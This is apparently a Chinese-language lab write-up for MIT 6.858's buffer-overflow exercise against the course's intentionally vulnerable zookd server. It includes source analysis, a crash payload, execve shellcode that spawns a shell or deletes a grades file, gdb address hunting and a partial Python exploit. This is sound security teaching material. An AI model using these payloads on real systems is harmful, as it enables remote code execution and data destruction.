MIT 6.858: Computer Systems Security 计算机系统安全 #Lab1

MIT 6.858: Computer Systems Security 计算机系统安全 #Lab1

本文同步发布于本人知乎文章https://zhuanlan.zhihu.com/p/258405554

1. Introduction

MIT 6.858 是麻省理工学院一门著名的计算机安全系列课程。跟其相类似的其他名校的安全类课程还有Standford CS155OSU 系统安全与软件安全等。虽然是比较硬核的大学课程,其实验环境对于现实生活中的安全攻防来说也还是相对较为理想的。不过对于想尽快地熟悉基础的系统安全攻防知识的新手来说,这些实验的容量已经足够了。整个课程有4次实验和一个最终的Final Project,其中所有的实验都围绕一个由课程教师构建的一个名为zoobar的web application来展开。四次实验的主要内容是:

  • Lab 1: you will explore the zoobar web application, and use buffer overflow attacks to break its security properties.
  • Lab 2: you will improve the zoobar web application by using privilege separation, so that if one component is compromised, the adversary doesn’t get control over the whole web application.
  • Lab 3: you will build a program analysis tool based on symbolic execution to find bugs in Python code such as the zoobar web application.
  • Lab 4: you will improve the zoobar application against browser attacks.

即分别围绕缓存区溢出攻击、权限分离、符号执行和浏览器攻击四个主题来展开。我将在blog里陆续更新之后的内容。这一次我们先来看第一次实验,Buffer Oveflows

2. Getting started

缓存区溢出攻击需要对程序执行环境中的内存和堆栈进行精准的操作,对编译器参数,环境变量和程序执行方式的细微改变也可能在充满保护机制的现代操作系统中导致攻击失败。我们并不希望每次都进行计算地址偏移等重复劳动,因此在实验进行过程中必须在给定的配置好的虚拟机内进行,而且每次实验运行前都要使用给定的脚本来清理运行环境。

课程主页的 Lab infrastructure 小节提供了虚拟机的下载地址和安装指导。

实验中的的攻击对象的源码和课程提供的其他文字数据是通过git直接拉取课程repo来获取的。在登陆虚拟机(账号是student,密码是6858)之后,使用git来拉取代码:

student@6858-v20:~$ git clone https://web.mit.edu/6858/2020/lab.git
Cloning into 'lab'...
student@6858-v20:~$ cd lab
student@6858-v20:~/lab$

前面提到了我们的攻击对象是一个web应用,我们首先需要从源码编译该应用。课程代码中已经提供了Makefile,只需要执行make命令即可编译所有文件

student@6858-v20:~/lab$ make
cc zookd.c -c -o zookd.o -m64 -g -std=c99 -Wall -D_GNU_SOURCE -static -fno-stack-protector
cc http.c -c -o http.o -m64 -g -std=c99 -Wall -D_GNU_SOURCE -static -fno-stack-protector
cc -m64  zookd.o http.o  -lcrypto -o zookd
cc -m64 zookd.o http.o  -lcrypto -o zookd-exstack -z execstack
cc -m64 zookd.o http.o  -lcrypto -o zookd-nxstack
cc zookd.c -c -o zookd-withssp.o -m64 -g -std=c99 -Wall -D_GNU_SOURCE -static
cc http.c -c -o http-withssp.o -m64 -g -std=c99 -Wall -D_GNU_SOURCE -static
cc -m64  zookd-withssp.o http-withssp.o  -lcrypto -o zookd-withssp
cc -m64   -c -o shellcode.o shellcode.S
objcopy -S -O binary -j .text shellcode.o shellcode.bin
cc run-shellcode.c -c -o run-shellcode.o -m64 -g -std=c99 -Wall -D_GNU_SOURCE -static -fno-stack-protector
cc -m64  run-shellcode.o  -lcrypto -o run-shellcode
rm shellcode.o

简单的看一下makefile,我们可以发现其生成了两份zookd的可执行文件,zookd-exstack和zookd-nxstack。前者在编译中加了参数-z execstack,我们看一下编译器的版本:

student@6858-v20:~$ gcc --version
gcc (Ubuntu 7.5.0-3ubuntu1~18.04) 7.5.0

显然gcc从很早的版本开始就已经默认执行不可执行栈保护了,加-z execstack的版本是为了本次实验中前半部分的攻击原理顺利实现。后半部分的实验将使用不可执行栈的版本,在这种情况下我们将使用return-to-libc方式来攻击。

然后每次运行web应用的话,需要用给定的脚本./clean-env.sh来执行,该脚本的内容如下:

#!/bin/bash

if [ $# -eq 0 ]; then
    echo "Usage: $0 BIN PORT"
    echo "clean-env runs the given server binary BIN using the configuration CONFIG in"
    echo "a pristine environment to ensure predictable memory layout between executions."
    exit 0
fi

killall -w zookld zookd zookfs zookd-nxstack zookfs-nxstack zookd-exstack zookfs-exstack &> /dev/null

ulimit -s unlimited

DIR=$(pwd -P)
if [ "$DIR" != /home/student/lab ]; then
    echo "========================================================"
    echo "WARNING: Lab directory is $DIR"
    echo "Make sure your lab is checked out at /home/student/lab or"
    echo "your solutions may not work when grading."
    echo "========================================================"
fi
# setarch -R disables ASLR
echo exec env - PWD="$DIR" SHLVL=0 setarch "$(uname -m)" -R "$@"
exec env - PWD="$DIR" SHLVL=0 setarch "$(uname -m)" -R "$@"

可以看出来这个脚本会先清除所有的已运行的zook服务器相关的程序,然后在启动脚本时会使用setarch -R来禁用ASLR,以保证每次程序运行时的内存分布都是相同的,这样我们计算出来的内存偏移地址可以在后面的实验里多次使用。

3. Part 1: Finding buffer overflows

这一部分有两个Exercise,第一个要求我们找到web服务器源码中的栈溢出漏洞,第二个设计一个payload使得这个zook程序的web服务器(或者其某个子进程)崩溃掉。

粗略地浏览一下Makefile可以发现main所在的文件是zookd.c ,我们可以先看一下这里的源码:

/* dispatch daemon */

#include "http.h"
#include <err.h>
#include <regex.h>
#include <signal.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#include <netdb.h>
#include <fcntl.h>
#include <sys/wait.h>
#include <sys/param.h>
#include <sys/types.h>
#include <sys/socket.h>

static void process_client(int);
static int run_server(const char *portstr);
static int start_server(const char *portstr);

int main(int argc, char **argv)
{
    if (argc != 2)
        errx(1, "Wrong arguments");

    run_server(argv[1]);
}

/* socket-bind-listen idiom */

static int start_server(const char *portstr)
{
    struct addrinfo hints = {0}, *res;
    int sockfd;
    int e, opt = 1;

    hints.ai_family = AF_UNSPEC;
    hints.ai_socktype = SOCK_STREAM;
    hints.ai_flags = AI_PASSIVE;

    if ((e = getaddrinfo(NULL, portstr, &hints, &res)))
        errx(1, "getaddrinfo: %s", gai_strerror(e));
    if ((sockfd = socket(res->ai_family, res->ai_socktype, res->ai_protocol)) < 0)
        err(1, "socket");
    if (setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR, &opt, sizeof(opt)))
        err(1, "setsockopt");
    if (fcntl(sockfd, F_SETFD, FD_CLOEXEC) < 0)
        err(1, "fcntl");
    if (bind(sockfd, res->ai_addr, res->ai_addrlen))
        err(1, "bind");
    if (listen(sockfd, 5))
        err(1, "listen");
    freeaddrinfo(res);

    return sockfd;
}

static int run_server(const char *port) {
    int sockfd = start_server(port);
    for (;;)
    {
    int cltfd = accept(sockfd, NULL, NULL);
    int pid;
    int status;

    if (cltfd < 0)
        err(1, "accept");

    /* fork a new process for each client process, because the process
     * builds up state specific for a client (e.g. cookie and other
     * enviroment variables that are set by request). We want to get rid off
     * that state when we have processed the request and start the next
     * request in a pristine state.
         */
    switch ((pid = fork()))
    {
    case -1:
        err(1, "fork");

    case 0:
        process_client(cltfd);
        exit(0);
        break;

    default:
        close(cltfd);
        pid = wait(&status);
        if (WIFSIGNALED(status)) {
        printf("Child process %d terminated incorrectly, receiving signal %d\n",
               pid, WTERMSIG(status));
        }
        break;
    }
    }
}

static void process_client(int fd)
{
    static char env[8192];  /* static variables are not on the stack */
    static size_t env_len = 8192;
    char reqpath[8192];
    const char *errmsg;

    /* get the request line */
    if ((errmsg = http_request_line(fd, reqpath, env, &env_len)))
        return http_err(fd, 500, "http_request_line: %s", errmsg);

    env_deserialize(env, sizeof(env));

    /* get all headers */
    if ((errmsg = http_request_headers(fd)))
      http_err(fd, 500, "http_request_headers: %s", errmsg);
    else
      http_serve(fd, getenv("REQUEST_URI"));

    close(fd);
}

void accidentally(void)
{
       __asm__("mov 16(%%rbp), %%rdi": : :"rdi");
}

可以看到服务器是一个比较简单的用多进程来处理多用户的c socket server,其处理流程可以分解为:

  1. 在run_server函数中的无限循环中,每次accept一个新的client描述符之后,会fork出一个新进程,调用process_client处理这个client的请求。
  2. process_client首先调用http_request_line处理请求行,也就是类似”GET / HTTP/1.0\r\n”这种的request line。
  3. 如果请求行没有问题的话,再调用env_deserialize解析一下环境变量,然后再调用http_request_headers处理请求headers
  4. 如果headers的解析也没有问题的话,再调用http_serve函数处理请求,简单的看一下可以发现http_serve之后的处理机制是分为对静态文件的请求返回和对可执行动态脚本的请求
  5. 这里的话继续往下看可以发现它使用了Flask作为后端来支撑整个web应用的正常运转,主要包括了一些简单的sql CRUD处理。

根据Lab 1的介绍来看,本次实验只需要针对这个C语言写的socket server进行攻击,后端的进一步分析可以先不做。也就是说我们只需要对上述2-3步进行分析即可。这两步中的重点函数是http_request_line和http_request_headers, 我们可以先审查一下这两个函数的源码

http_request_line:

const char *http_request_line(int fd, char *reqpath, char *env, size_t *env_len)
{
    static char buf[8192];      /* static variables are not on the stack */
    char *sp1, *sp2, *qp, *envp = env;

    /* For lab 2: don't remove this line. */
    touch("http_request_line");

    if (http_read_line(fd, buf, sizeof(buf)) < 0)
        return "Socket IO error";

    /* Parse request like "GET /foo.html HTTP/1.0" */
    sp1 = strchr(buf, ' ');
    if (!sp1)
        return "Cannot parse HTTP request (1)";
    *sp1 = '\0';
    sp1++;
    if (*sp1 != '/')
        return "Bad request path";

    sp2 = strchr(sp1, ' ');
    if (!sp2)
        return "Cannot parse HTTP request (2)";
    *sp2 = '\0';
    sp2++;

    /* We only support GET and POST requests */
    if (strcmp(buf, "GET") && strcmp(buf, "POST"))
        return "Unsupported request (not GET or POST)";

    envp += sprintf(envp, "REQUEST_METHOD=%s", buf) + 1;
    envp += sprintf(envp, "SERVER_PROTOCOL=%s", sp2) + 1;

    /* parse out query string, e.g. "foo.py?user=bob" */
    if ((qp = strchr(sp1, '?')))
    {
        *qp = '\0';
        envp += sprintf(envp, "QUERY_STRING=%s", qp + 1) + 1;
    }

    /* decode URL escape sequences in the requested path into reqpath */
    url_decode(reqpath, sp1);

    envp += sprintf(envp, "REQUEST_URI=%s", reqpath) + 1;

    envp += sprintf(envp, "SERVER_NAME=zoobar.org") + 1;

    *envp = 0;
    *env_len = envp - env + 1;
    return NULL;
}

http_request_headers:

const char *http_request_headers(int fd)
{
    static char buf[8192];      /* static variables are not on the stack */
    int i;
    char value[512];
    char envvar[512];

    /* For lab 2: don't remove this line. */
    touch("http_request_headers");

    /* Now parse HTTP headers */
    for (;;)
    {
        if (http_read_line(fd, buf, sizeof(buf)) < 0)
            return "Socket IO error";

        if (buf[0] == '\0')     /* end of headers */
            break;

        /* Parse things like "Cookie: foo bar" */
        char *sp = strchr(buf, ' ');
        if (!sp)
            return "Header parse error (1)";
        *sp = '\0';
        sp++;

        /* Strip off the colon, making sure it's there */
        if (strlen(buf) == 0)
            return "Header parse error (2)";

        char *colon = &buf[strlen(buf) - 1];
        if (*colon != ':')
            return "Header parse error (3)";
        *colon = '\0';

        /* Set the header name to uppercase and replace hyphens with underscores */
        for (i = 0; i < strlen(buf); i++) {
            buf[i] = toupper(buf[i]);
            if (buf[i] == '-')
                buf[i] = '_';
        }

        /* Decode URL escape sequences in the value */
        url_decode(value, sp);

        /* Store header in env. variable for application code */
        /* Some special headers don't use the HTTP_ prefix. */
        if (strcmp(buf, "CONTENT_TYPE") != 0 &&
            strcmp(buf, "CONTENT_LENGTH") != 0) {
            sprintf(envvar, "HTTP_%s", buf);
            setenv(envvar, value, 1);
        } else {
            setenv(buf, value, 1);
        }
    }

    return 0;
}

可以发现这两个函数其实做的事情差不多:

  1. 先用http_read_line读入一些数据(字面意思看是一行)
  2. 校验读入行的格式,例如请求行是检查是否是GET / 或者 POST / 加上\r\n,请求头是否是 Name: Value\r\n 格式的。
  3. 检验通过之后用url_decode解码
  4. 使用sprintf设定环境变量

我们先看下http_read_line

int http_read_line(int fd, char *buf, size_t size)
{
    size_t i = 0;

    for (;;)
    {
        int cc = read(fd, &buf[i], 1);
        if (cc <= 0)
            break;

        if (buf[i] == '\r')
        {
            buf[i] = '\0';      /* skip */
            continue;
        }

        if (buf[i] == '\n')
        {
            buf[i] = '\0';
            return 0;
        }

        if (i >= size - 1)
        {
            buf[i] = '\0';
            return 0;
        }

        i++;
    }

    return -1;
}

可以看到该函数功能为读取一行,而且这里使用size函数约束了读入字符的长度,所以无法进行栈溢出。再来看下url_decode:

void url_decode(char *dst, const char *src)
{
    for (;;)
    {
        if (src[0] == '%' && src[1] && src[2])
        {
            char hexbuf[3];
            hexbuf[0] = src[1];
            hexbuf[1] = src[2];
            hexbuf[2] = '\0';

            *dst = strtol(&hexbuf[0], 0, 16);
            src += 3;
        }
        else if (src[0] == '+')
        {
            *dst = ' ';
            src++;
        }
        else
        {
            *dst = *src;
            src++;

            if (*dst == '\0')
                break;
        }

        dst++;
    }
}

这里的话就可以发现一个bug点:url_decode调用的两个参数为两个数组指针,但是没有url_decode这边其实并没有判断两个指针所在的数组长度,而只是一直复制到src中为’\0’才停止,相当于一个带url解码的strcpy,另一方面http_request_line和http_request_headers中使用这个函数的时候,传入的两个参数都是 $len(dst)<len(src)$ 的,这就给了我们可乘之机,利用src与dst的长度差,即可将溢出的数据写入到*src外面。我们看src的实参的话,分别是reqpath和value两个数组,而reqpath其实是zookd.c中传进来的process_client的reqpath。这里其实选择两个来做exploit都是可以的,我选择的是http_request_headers,也就是用最大容量为8192的buf数组来覆盖最大容量为512的value数组。这样的话我们只需要一个小于8192的足够长的一行输入就可以覆盖http_request_headers的返回地址,所以Exercise 2的答案可以简单的这样构造payload,将exploit-template.py中的代码复制到新建的exploit-2.py中,并将build exploit函数改为如下:

def build_exploit(shellcode):
    req =   b"GET / HTTP/1.0\r\n" 
    req = req + b"EXP: "
    for _ in range(5000):
        req = req + b"A"
    req += b"\r\n"
    req += b"\r\n"
    return req

我们先启动web应用的可执行栈版本:

student@6858-v20:~/lab$ ./clean-env.sh ./zookd-nxstack 8080 &
[1] 3211
student@6858-v20:~/lab$ exec env - PWD=/home/student/lab SHLVL=0 setarch x86_64 -R ./zookd-nxstack 8080

然后运行exploit-2.py

student@6858-v20:~/lab$ ./exploit-2.py 192.168.33.130 8080
HTTP request:
Connecting to 192.168.33.130:8080...
Connected, sending request...
Request sent, waiting for reply...
Received reply.
HTTP response:
b''
student@6858-v20:~/lab$ Child process 3223 terminated incorrectly, receiving signal 11

可以看到控制台输出Child process 3223 terminated,也就是说我们成功让子进程崩溃了。除此之外,使用课程提供的makfile也可以方便的帮助我们检查自己的代码是否有效,在这一步可以通过运行make check-crash来测试是否成功:

student@6858-v20:~/lab$ make check-crash
cc -m64   -c -o shellcode.o shellcode.S
objcopy -S -O binary -j .text shellcode.o shellcode.bin
./check-bin.sh
tar xf bin.tar.gz
./check-part2.sh zookd-exstack ./exploit-2.py
./check-part2.sh: line 8:  3155 Terminated              strace -f -e none -o "$STRACELOG" ./clean-env.sh ./$1 8080 &> /dev/null
3170  --- SIGSEGV {si_signo=SIGSEGV, si_code=SI_KERNEL, si_addr=NULL} ---
3170  +++ killed by SIGSEGV (core dumped) +++
3158  --- SIGCHLD {si_signo=SIGCHLD, si_code=CLD_DUMPED, si_pid=3170, si_uid=1000, si_status=SIGSEGV, si_utime=0, si_stime=0} ---
PASS ./exploit-2.py
rm shellcode.o

可以看到我们的结果是PASS,说明Exercise 2已经完成。

4. Part 2: Code injection

这一部分的要求是让我们针对有可执行栈的zookbar程序做代码注入。一般我们平时做的话最多的是通过注入代码来获取shell,所以多是执行execve(“/bin/sh”),这个参数只有一个字符串,其实是相对比较简单的,在这里需要注入的执行shell的汇编代码(也就是所谓shellcode的名字来历)如下:

#include <sys/syscall.h>

#define STRING "/bin/sh"
#define STRLEN 7
#define ARGV    (STRLEN+1)
#define ENVP    (ARGV+8)

.globl main
    .type    main, @function

 main:
    jmp    calladdr

 popladdr:
    popq    %rcx
    movq    %rcx,(ARGV)(%rcx)    /* set up argv pointer to pathname */
    xorq    %rax,%rax        /* get a 64-bit zero value */
    movb    %al,(STRLEN)(%rcx)    /* null-terminate our string */
    movq    %rax,(ENVP)(%rcx)    /* set up null envp */

    movb    $SYS_execve,%al        /* set up the syscall number */
    movq    %rcx,%rdi        /* syscall arg 1: string pathname */
    leaq    ARGV(%rcx),%rsi        /* syscall arg 2: argv */
    leaq    ENVP(%rcx),%rdx        /* syscall arg 3: envp */
    syscall                /* invoke syscall */

    xorq    %rax,%rax        /* get a 64-bit zero value */
    movb    $SYS_exit,%al        /* set up the syscall number */
    xorq    %rdi,%rdi        /* syscall arg 1: 0 */
    syscall                /* invoke syscall */

 calladdr:
    call    popladdr
    .ascii    STRING

而这次实验的要求是unlink一个文件,此时相当于执行了这样一个过程:

char * argv[] = {"/usr/bin/unlink","/home/student/grades.txt", (char *)0};
char * envp[] = {0};
execve("/usr/bin/unlink", argv, envp);

那么我们就需要用更多的步骤来正确的在栈上布局execve所需要的参数。我们仍然使用像普通的shellcode中一样传递字符串指针的方法:用pop来把call的下一条指令的返回值弹出,而call的下一条指令我们放一个
“`.ascii “/usr/bin/unlinkA/home/student/grades.txtA”“`,这样的话弹出的结果就是指向.ascii的一个指针了,我们用他来作为基础指针来进行后续的操作。

由execve的man page可以得出,该函数的参数有三个:执行文件路径字符串的指针,执行文件参数字符串数组的指针,环境变量数组的指针。其中字符串的结尾要用”\0″来分割,而argv数组的结尾需要用一个NULL指针来填充。由于注入shellcode里不能出现’\0’(0x00会被http_read_line当作字符串的结尾截断),所以我们仿照上面获取shell的代码,用
“`xorq %rax,%rax“`来直接获得一个全0的寄存器,用这个rax来代替之后代码里需要用到的0x00的字节。根据字符串数组在内存中的分布模型我们可以知道,这时argv指向的其实就是”/usr/bin/unlink”,而后的字符串/home/student/grades.txt用”\0″分割开就行,这一点可以简单地数一下有多少个字符,然后把”/usr/bin/unlinkA/home/student/grades.txtA” 里的’A’替换成’\0’即可。

经过以上简单的分析,可以构造shellcde如下:

#include <sys/syscall.h>

#define STRING    "/usr/bin/unlinkA/home/student/grades.txtA"
#define STRLEN    41
#define ARGV    (STRLEN+1)
#define ENVP    (ARGV+24)

.globl main
    .type    main, @function

 main:
    jmp    calladdr

 popladdr:
    xorq    %rax,%rax        /* get a 64-bit zero value */
    popq    %rcx    /* address of string */

    movq    %rcx,(ARGV)(%rcx)    /* first arg */
    leaq    (16)(%rcx),%rbx
    movq    %rbx,(ARGV+8)(%rcx) /* second arg */
    movq    %rax,(ARGV+16)(%rcx) /* NULL end */
    movb    %al,(15)(%rcx)    /* null-terminate our string 1 */
    movb    %al,(40)(%rcx)    /* null-terminate our string 2 */
    movq    %rax,(ENVP)(%rcx)    /* set up null envp */

    movb    $SYS_execve,%al        /* set up the syscall number */
    movq    %rcx,%rdi        /* syscall arg 1: string pathname */
    leaq    ARGV(%rcx),%rsi        /* syscall arg 2: argv */
    leaq    ENVP(%rcx),%rdx        /* syscall arg 3: envp */
    syscall                /* invoke syscall */

    xorq    %rax,%rax        /* get a 64-bit zero value */
    movb    $SYS_exit,%al        /* set up the syscall number */
    xorq    %rdi,%rdi        /* syscall arg 1: 0 */
    syscall                /* invoke syscall */

 calladdr:
    call    popladdr
    .ascii    STRING

有了shellcode之后我们还需要找到value数组和程序返回地址在内存中的位置,这两个可以用gdb附加进程调试很快的找到。具体步骤是这样:我们先在
“`zookd.c:113“`处下一个断点,然后用任意方法发起一次请求,gdb的输出如下:

student@6858-v20:~/lab$ gdb -q -p $(pgrep zookd-)
Attaching to process 3211
(gdb) c
Continuing.
[New process 3264]
[Switching to process 3264]

Thread 2.1 "zookd-nxstack" hit Breakpoint 1, process_client (fd=4)
    at zookd.c:113
113         if ((errmsg = http_request_headers(fd)))
1: $rbp = (void *) 0x7fffffffecf0
2: $rsp = (void *) 0x7fffffffccd0
3: x/i $pc
=> 0x55555555581d <process_client+118>: mov    -0x2014(%rbp),%eax

命中断点之后首先看一下前后的指令位置:

(gdb) disas
Dump of assembler code for function process_client:
=> 0x000055555555581d <+118>:   mov    -0x2014(%rbp),%eax
   0x0000555555555823 <+124>:   mov    %eax,%edi
   0x0000555555555825 <+126>:   callq  0x555555555c1f <http_request_headers>
   0x000055555555582a <+131>:   mov    %rax,-0x8(%rbp)
   0x000055555555582e <+135>:   cmpq   $0x0,-0x8(%rbp)

可以看到http_request_headers的返回地址(也就是call的下一条指令)是0x000055555555582a,那么我们接下来在http_request_headers里找这个地址出现的位置就是存储其返回值的内存区域了。我们在
“`http.c:172 return 0;“`这里再下一个断点看一下:

(gdb) b http.c:172
Breakpoint 8 at 0x555555555e1d: file http.c, line 172.
(gdb) c
Continuing.

Thread 2.1 "zookd-nxstack" hit Breakpoint 8, http_request_headers (fd=4)
    at http.c:172
172         return 0;
1: $rbp = (void *) 0x7fffffffccc0
2: $rsp = (void *) 0x7fffffffc880
3: x/i $pc
=> 0x555555555e1d <http_request_headers+510>:   mov    $0x0,%eax
(gdb) disas
0x0000555555555e12 <+499>:   callq  0x555555555110 <setenv@plt>
   0x0000555555555e17 <+504>:   jmpq   0x555555555c3d <http_request_headers+30>
   0x0000555555555e1c <+509>:   nop
=> 0x0000555555555e1d <+510>:   mov    $0x0,%eax
   0x0000555555555e22 <+515>:   add    $0x438,%rsp
   0x0000555555555e29 <+522>:   pop    %rbx
   0x0000555555555e2a <+523>:   pop    %rbp
   0x0000555555555e2b <+524>:   retq 

我们再在0x0000555555555e2b <+524>: retq前设置一下断点,跑到这里看看rsp附近的情况,因为我们知道正常的程序返回值就是在最后的rsp这里存着的。

(gdb) x/8x $rsp
0x7fffffffccc8: 0x5555582a      0x00005555      0x00000000      0x00000000
0x7fffffffccd8: 0x00000000      0x00000004      0x0000002f      0x00000000

看到了我们要找的0x000055555555582a,我们记下这里的内存地址0x7fffffffccc8,记为stack_retaddr了。然后找一下value返回地址,这个只需要在http_request_headers里打个断点然后print一下value数组的地址即可:

(gdb) p &value
$1 = (char (*)[512]) 0x7fffffffca90

获取了两个地址之后我们就可以写一个脚本来进行缓存区溢出攻击了,用一些垃圾数据填充函数返回值与注入数组的内存差值,然后把shellcode的地址,写进去,再把shellcode本身的二进制代码填入即可:

#!/usr/bin/env python3
import sys
import socket
import traceback
import urllib.parse
import struct

stack_buffer = 0x7fffffffda90
stack_retaddr = 0x7fffffffdcc8

def build_exploit(shellcode):
    shellfile = open("shellcode.bin", "rb") 
    shellcode = shellfile.read()

    req =   b"GET / HTTP/1.0\r\n" #+ \
            #b"\r\n"
    req += b"EXP: "
    req += shellcode + b"A" * ((stack_retaddr - stack_buffer) - len(shellcode))
    req += struct.pack('<Q', stack_buffer)

    req += b"\r\n"
    return r